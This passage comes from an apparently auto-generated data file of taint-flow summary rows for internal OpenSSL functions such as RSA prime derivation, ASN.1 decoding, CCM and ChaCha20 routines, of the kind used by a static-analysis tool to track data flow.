*,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*1]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*3]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[5]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[5]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*0]", "Argument[*8]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*1]", "Argument[*8]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*3]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*3]", "Argument[*8]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*5]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*5]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*5]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*5]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*6]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*6]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*6]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*9]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*9]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*9]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*9]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*9]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*9]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*9]", "Argument[*8]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[7]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[7]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_bsearch", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_bsearch", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_bsearch", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bsearch", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_bsearch", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bsearch", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_bsearch", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[3]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_buf2hexstr_sep", "(const unsigned char *,long,char)", "", "Argument[*0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_buf2hexstr_sep", "(const unsigned char *,long,char)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_buf2hexstr_sep", "(const unsigned char *,long,char)", "", "Argument[2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_c2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_c2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_OBJECT", "(ASN1_OBJECT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_c2i_ASN1_OBJECT", "(ASN1_OBJECT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_OBJECT", "(ASN1_OBJECT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_OBJECT", "(ASN1_OBJECT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_OBJECT", "(ASN1_OBJECT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_OBJECT", "(ASN1_OBJECT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_uint64_int", "(uint64_t *,int *,const unsigned char **,long)", "", "Argument[**2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_uint64_int", "(uint64_t *,int *,const unsigned char **,long)", "", "Argument[**2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_uint64_int", "(uint64_t *,int *,const unsigned char **,long)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_uint64_int", "(uint64_t *,int *,const unsigned char **,long)", "", "Argument[*2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_uint64_int", "(uint64_t *,int *,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_uint64_int", "(uint64_t *,int *,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_uint64_int", "(uint64_t *,int *,const unsigned char **,long)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_uint64_int", "(uint64_t *,int *,const unsigned char **,long)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c448_ed448_derive_public_key", "(OSSL_LIB_CTX *,uint8_t[57],const uint8_t[57],const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c448_ed448_sign", "(OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,size_t,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c448_ed448_sign_prehash", "(OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t[64],const uint8_t *,size_t,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c448_ed448_verify", "(OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_c448_ed448_verify", "(OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *)", "", "Argument[*2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_c448_ed448_verify", "(OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_c448_ed448_verify", "(OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_c448_ed448_verify_prehash", "(OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_c448_ed448_verify_prehash", "(OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *)", "", "Argument[*2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_c448_ed448_verify_prehash", "(OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_c448_ed448_verify_prehash", "(OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_calculate_comp_expansion", "(int,size_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_cipher", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[*4]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_ccm_cipher", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_cipher", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_cipher", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_ccm_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_ccm_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_ccm_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_generic_auth_decrypt", "(PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_generic_auth_decrypt", "(PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_generic_auth_decrypt", "(PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_generic_auth_decrypt", "(PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_generic_auth_encrypt", "(PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_generic_auth_encrypt", "(PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_generic_auth_encrypt", "(PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_generic_auth_encrypt", "(PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*ccm_ctx].Field[*blocks]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_generic_auth_encrypt", "(PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_get_ctx_params", "(void *,OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_initctx", "(PROV_CCM_CTX *,size_t,const PROV_CCM_HW *)", "", "Argument[*2]", "Argument[*0].Field[**hw]", "value", "dfc-generated"] + - ["", "", True, "ossl_ccm_initctx", "(PROV_CCM_CTX *,size_t,const PROV_CCM_HW *)", "", "Argument[1]", "Argument[*0].Field[*keylen]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_initctx", "(PROV_CCM_CTX *,size_t,const PROV_CCM_HW *)", "", "Argument[2]", "Argument[*0].Field[*hw]", "value", "dfc-generated"] + - ["", "", True, "ossl_ccm_set_ctx_params", "(void *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_stream_final", "(void *,unsigned char *,size_t *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[*4]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_ccm_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_chacha20_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_chacha20_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_chacha20_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_chacha20_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*0].Field[*keylen]", "value", "dfc-generated"] + - ["", "", True, "ossl_chacha20_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_chacha20_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_chacha20_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_chacha20_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_chacha20_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_chacha20_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_chacha20_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_chacha20_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*0].Field[*keylen]", "value", "dfc-generated"] + - ["", "", True, "ossl_chacha20_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_chacha20_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_chacha20_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", 